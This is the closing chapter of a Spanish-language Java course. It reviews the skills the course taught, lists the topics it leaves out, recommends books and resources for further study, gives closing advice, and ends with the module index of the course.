| 12. Mundo Real | Piezas excelentes sin forma de producto | Un producto: cinco módulos Maven con la arquitectura verificada por el compilador, patrones aplicados con criterio, CLI profesional, API REST documentada, estrategia de calidad con Testcontainers y mutación, desplegado en contenedores con migraciones versionadas, y con seguridad, observabilidad y plan de evolución |
De un System.out.println a un sistema en producción con autenticación, métricas, trazas y una canalización de entrega continua. Ese es el viaje.
Qué sabes hacer ahora
Sin adornos ni falsa modestia, esto es lo que puedes hacer al terminar el curso:
Lenguaje. Escribes Java 21 idiomático: colecciones y streams con soltura, genéricos con comodines, Optional sin abusar, record y sealed donde aportan, pattern matching, java.time con reloj inyectable. Entiendes qué pasa por debajo: el borrado de tipos, la carga de clases, la memoria, el GC y por qué medir antes de optimizar.
Diseño. Aplicas SOLID con ejemplos, no de memoria. Reconoces y usas los patrones cuando resuelven un problema real, y —lo que cuesta más— sabes no usarlos cuando no lo resuelven. Diseñas arquitecturas por capas y hexagonales, sabes dónde va cada responsabilidad, y usas las herramientas para que las fronteras se cumplan solas.
Ecosistema. Manejas Maven multimódulo, Spring Boot con inyección de dependencias, configuración por perfiles y AOP, JPA/Hibernate incluidos los problemas reales (N+1, carga perezosa, bloqueo optimista), Jackson, SLF4J y las librerías que conviene no reinventar.
Calidad. Escribes pruebas en el nivel correcto, con dobles cuando toca y base de datos real cuando importa. Interpretas la cobertura sin engañarte, sabes que las pruebas de mutación miden lo que la cobertura no puede, refactorizas con red, y puedes desarrollar guiado por pruebas cuando el problema lo pide.
Operación. Contenerizas correctamente, configuras la JVM para un contenedor, versionas el esquema con migraciones compatibles hacia atrás, despliegues sin corte de servicio con vuelta atrás, y montas una canalización que verifica, construye, publica y despliega.
Producción. Proteges una API con autenticación y autorización, conoces las vulnerabilidades comunes y su prevención concreta, instrumentas métricas técnicas y de negocio, correlacionas registros con trazas, y escribes alertas que alguien atenderá en vez de ignorar.
Y una competencia que no aparece en ninguna lista de requisitos y vale más que todas: sabes por qué las cosas son como son. Sabes qué hace Spring por debajo porque escribiste un contenedor de dependencias a mano. Sabes qué hace un servidor web porque escribiste uno con sockets. Sabes qué hace @Transactional porque escribiste proxies dinámicos. Cuando algo falle de una forma que no está en ningún tutorial, tendrás dónde mirar.
Qué NO cubre este curso
Ser honesto sobre los límites es parte de enseñar bien. Estas son áreas importantes que este curso no cubre y que merecen estudio propio:
| Área | Qué es | Por dónde empezar |
|---|---|---|
| Kotlin | Lenguaje moderno de la JVM, interoperable con Java. Estándar en Android | Kotlin in Action; la documentación oficial |
| Android | Desarrollo móvil sobre la JVM: ciclo de vida, Jetpack Compose | Documentación de desarrolladores de Android |
| Programación reactiva | WebFlux, Project Reactor: modelo no bloqueante para muy alta concurrencia | Reactive Spring; y valorar antes si los hilos virtuales ya resuelven tu caso |
| Microservicios y mensajería | Kafka, RabbitMQ, sagas, consistencia eventual, malla de servicios | Building Microservices de Sam Newman |
| Big data | Spark, Flink, procesamiento distribuido | Designing Data-Intensive Applications |
| Arquitectura de datos | Modelado avanzado, particionado, CQRS, event sourcing, data warehouse | Designing Data-Intensive Applications, de nuevo |
| Seguridad avanzada | Criptografía aplicada, OAuth2 y OIDC completos, análisis forense | OWASP Testing Guide; formación específica |
| Rendimiento profundo | Perfilado avanzado, ajuste de GC, optimizaciones de la JIT | Optimizing Java; JVM Anatomy Quarks |
| DDD estratégico | Contextos delimitados, lenguaje ubicuo, mapas de contexto | Domain-Driven Design de Eric Evans; Learning DDD de Vlad Khononov |
Ruta de aprendizaje recomendada
Ahora mismo (esta semana):
- Construye algo tuyo. No sigas otro tutorial. Elige un problema que te importe —un gestor de gastos, un seguidor de hábitos, una herramienta para tu trabajo— y hazlo con lo que sabes. Vas a encontrarte con decisiones que ningún curso plantea, y ahí es donde se aprende de verdad.
- Vuelve a BiblioTech y añade algo: los informes en PDF, la app de consola con más comandos, la interfaz web con Thymeleaf. Tienes la arquitectura; úsala.
Los próximos tres meses:
-
Lee estos tres libros, en este orden:
- Effective Java, Joshua Bloch. Noventa elementos sobre cómo escribir Java correctamente. Es el libro que todo desarrollador Java debería haber leído, y el que da nombre al «Java Efectivo» que has estado prestando durante doce módulos.
- Clean Code, Robert C. Martin. Con espíritu crítico: no todo lo que dice es incontestable, y el debate que genera es parte de su valor.
- Refactoring, Martin Fowler. El catálogo de transformaciones seguras. Complementa perfectamente lo visto en 12-05.
-
Lee código ajeno. Clona Spring Boot, o una librería que uses, y lee cómo está hecha. Al principio será incómodo; en un mes será la forma más rápida que tienes de aprender.
-
Sigue los JEP (JDK Enhancement Proposals) en openjdk.org/jeps. Es donde se decide el futuro del lenguaje, y leerlos te da meses de ventaja.
Los próximos seis meses:
-
Contribuye a un proyecto de código abierto. Empieza por documentación o por incidencias etiquetadas como good first issue. Recibirás revisiones de código de gente con más experiencia, que es el mejor aprendizaje que existe y además gratis.
-
Profundiza en una especialidad, la que te atraiga: datos, arquitectura, seguridad, rendimiento, plataforma. Ser bueno en todo no existe.
-
Enseña lo que sabes. Escribe sobre lo que aprendes, explícaselo a alguien, da una charla interna. No hay forma más eficaz de descubrir lo que no entiendes del todo.
Recursos de referencia permanente:
| Recurso | Para qué |
|---|---|
| docs.oracle.com/javase | La documentación oficial de Java. Léela; es mejor de lo que la gente cree |
| spring.io/guides y su referencia | Spring, de primera mano |
| openjdk.org/jeps | El futuro del lenguaje |
| Baeldung | Tutoriales prácticos de calidad |
| InfoQ | Tendencias y arquitectura |
| Stack Overflow | Para buscar, no para copiar sin entender |
Un consejo final
Cuatro cosas, y son las que separan a alguien que programa en Java de alguien que es buen desarrollador.
Lee código. Vas a pasar mucho más tiempo leyendo que escribiendo: código ajeno, código tuyo de hace seis meses, código de librerías. Leer bien es una habilidad que se entrena, y casi nadie la entrena a propósito. Empieza hoy.
Escribe código. Ninguna cantidad de lectura sustituye a haberlo hecho. Los conceptos de este curso —la inversión de dependencias, el patrón Decorador, la frontera de errores— no se entienden de verdad hasta que los has aplicado y te has equivocado con ellos. Equivócate en proyectos tuyos, que es donde sale barato.
Mide antes de optimizar. Es la lección de 10-07 y vale para todo lo demás. Tu intuición sobre qué es lento, sobre qué se rompe, sobre qué usan los usuarios, es sistemáticamente errónea. Mide, y decide con datos. Y también al revés: no dejes de medir después, porque un sistema que nadie observa se degrada sin que nadie lo note.
No dejes de aprender. Cuando empezaste este curso, Java 21 era la LTS actual. Dentro de tres años será otra, y habrá cosas en el lenguaje que hoy no existen. Los frameworks cambiarán, las herramientas cambiarán, las prácticas cambiarán. Lo que no cambia es el fondo: separar responsabilidades, hacer explícitas las dependencias, no repetir conocimiento, probar lo que importa, medir antes de decidir, y escribir código que la siguiente persona pueda entender. Eso es lo que te llevas de aquí, y sirve en cualquier lenguaje.
Una última observación, que quizá sea la más útil de todas.
Durante doce módulos, BiblioTech ha ido y venido: se ha reescrito, se ha refactorizado, se han tirado decisiones que parecían buenas —el sealed de Material, el CSV, el contenedor de dependencias casero, el java.util.logging— y se han sustituido por otras mejores. En ningún momento eso fue un fracaso. Era el proceso.
El software real se hace así: decisiones razonables con la información disponible, que más tarde se revisan con información nueva. Un desarrollador con experiencia no es alguien que acierta a la primera; es alguien que ha aprendido a construir sistemas que se pueden cambiar cuando se descubre que la primera decisión no era la correcta.
Eso es exactamente lo que has estado haciendo.
Ahora ve a construir algo.
Curso de Programación en Java
Módulo 1: Introducción a Java
- Introducción a Java
- Configuración del Entorno de Desarrollo
- Sintaxis y Estructura Básica
- Variables y Tipos de Datos
- Operadores
- Entrada y Salida por Consola
- Tu Primer Programa Completo: BiblioTech
Módulo 2: Flujo de Control
- Sentencias Condicionales
- Bucles
- Sentencias Switch
- Break y Continue
- Depuración y Trazas de Ejecución
- Proyecto: Menú Interactivo de BiblioTech
Módulo 3: Programación Orientada a Objetos
- Introducción a la POO
- Clases y Objetos
- Métodos
- Constructores
- Herencia
- Polimorfismo
- Encapsulamiento
- Abstracción
- La Clase Object: equals, hashCode y toString
Módulo 4: Programación Orientada a Objetos Avanzada
- Interfaces
- Clases Abstractas
- Clases Internas
- Clases Anónimas
- Expresiones Lambda
- Interfaces Funcionales y Referencias a Métodos
- Enumeraciones y Registros
Módulo 5: Estructuras de Datos y Colecciones
- Arreglos
- El Framework de Colecciones
- ArrayList
- LinkedList
- HashMap
- HashSet
- Cola y Deque
- Pila
- Ordenación y Búsqueda en Colecciones
Módulo 6: Manejo de Excepciones
- Introducción a las Excepciones
- Bloque Try-Catch
- Throw y Throws
- Excepciones Personalizadas
- Bloque Finally
- Try-with-resources y AutoCloseable
- Estrategias de Manejo de Errores y Logging
Módulo 7: Entrada/Salida de Archivos
- Lectura de Archivos
- Escritura de Archivos
- Flujos de Archivos
- BufferedReader y BufferedWriter
- Serialización
- La API NIO.2: Path y Files
- Formatos de Intercambio: CSV y Properties
Módulo 8: Multihilo y Concurrencia
- Introducción al Multihilo
- Creación de Hilos
- Ciclo de Vida de un Hilo
- Sincronización
- Utilidades de Concurrencia
- Colecciones Concurrentes y Variables Atómicas
- Tareas Asíncronas con CompletableFuture
Módulo 9: Redes
- Introducción a las Redes
- Sockets
- ServerSocket
- DatagramSocket y DatagramPacket
- URL y HttpURLConnection
- El Cliente HTTP Moderno
Módulo 10: Temas Avanzados
- Genéricos
- Anotaciones
- Reflexión
- Características de Java 8: Streams y Optional
- Fechas y Horas con java.time
- Java 9 y Más Allá
- Memoria, Recolección de Basura y Rendimiento
Módulo 11: Frameworks y Librerías de Java
- Introducción a los Frameworks de Java
- Spring Framework
- Hibernate
- JUnit
- Maven
- Pruebas Avanzadas con Mockito
- Librerías Esenciales del Ecosistema
